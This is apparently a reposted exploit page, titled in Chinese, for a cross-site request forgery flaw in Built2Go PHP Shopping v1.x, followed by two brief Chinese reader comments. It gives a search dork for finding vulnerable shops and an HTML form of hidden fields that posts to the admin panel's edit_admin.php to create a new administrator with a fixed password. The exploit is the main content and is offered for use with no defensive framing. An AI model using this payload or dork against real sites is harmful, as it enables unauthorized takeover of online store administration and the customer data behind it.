Built2Go PHP Shopping跨站请求伪造漏洞

admin

Built2Go PHP Shopping v 1.x – CSRF Vulnerability(add admin)
====================================================================

####################################################################


.:. Dork : “Powered by Built2Go PHP Shopping”
####################################################################

===[ Exploit ]===

<form method=”POST” name=”form0″ action=”
http://SITE/adminpanel/edit_admin.php”>
<input type=”hidden” name=”userid” value=”ADMIN”/>
<input type=”hidden” name=”pass” value=”12121212″/>
<input type=”hidden” name=”retypepass” value=”12121212″/>
<input type=”hidden” name=”addnew” value=”1″/>
<input type=”hidden” name=”action” value=”save”/>
<input type=”hidden” name=”new” value=”Submit”/>
</form>

</body>
</html>

####################################################################

过来看看的

学习了，不错，讲的太有道理了